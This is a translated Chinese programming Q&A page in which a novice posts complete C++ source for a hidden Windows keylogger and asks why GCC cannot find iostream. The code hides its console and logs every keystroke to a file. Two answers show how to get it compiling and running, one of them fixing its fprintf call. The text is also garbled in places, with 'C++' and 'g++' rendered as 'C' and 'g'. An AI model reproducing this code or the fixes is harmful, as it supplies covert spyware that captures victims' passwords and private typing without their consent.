GCC:找不到iostream编译错误

s5a0g9ez  于 2023-04-06  发布在  iOS
关注(0)|答案(2)|浏览(872)

第一件事是我对编程不太了解,我从一个不能工作的网站上得到了一些C代码;当我试图编译这个键盘记录器:

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
 FreeConsole();
char i;
while (true) {
 Sleep(10);
 for (i = 8; i <= 255; i++) {
 if (GetAsyncKeyState(i) == -32767) {
 Save(i, "log.txt");
 }
 }
 }
 return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
 fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
 else if (_key == VK_BACK)
 fprintf(OUTPUT_FILE, "%s", "[BACK]");
 else if (_key == VK_LBUTTON)
 fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
 else if (_key == VK_RETURN)
 fprintf(OUTPUT_FILE, "%s", "[RETURN]");
 else if (_key == VK_ESCAPE)
 fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
 else
 fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}

命令提示符提供给我

fatal error: iostream: No such file or directory
compilation terminated.

我也试过

#include <iostream.h>

而不是

#include <iostream>

我怎么编译代码?它有什么问题吗?如果有,我怎么修复它?谢谢!(如果你能让像我这样的卢德分子容易理解,我真的很感激)使用GCC编译,Windows 10 64位

qvsjd97n

qvsjd97n1#

你需要告诉GCC链接到C库。使用g而不是gcc将强制这样做。
错误是因为fprintf与%s格式化程序需要一个指向char的指针,你传递的是一个指向int的指针,在这种情况下你可以简单地转换为char*

fprintf(OUTPUT_FILE, "%s", reinterpret_cast<char*>(&_key));

那就行了。

jv2fixgn

jv2fixgn2#

检查C程序的文件名是否为“.cpp”。
和你一样,我的C
程序也找不到正确的头文件。在我的情况下,我只需要将我的“.c”文件重命名为“.cpp”,这样Makefile就可以做正确的事情并找到头文件和库。
gcc也是C编译器,所以没有必要改用g(应该也可以)。GCC背景:https://www3.ntu.edu.sg/home/ehchua/programming/cpp/gcc_make.html

相关问题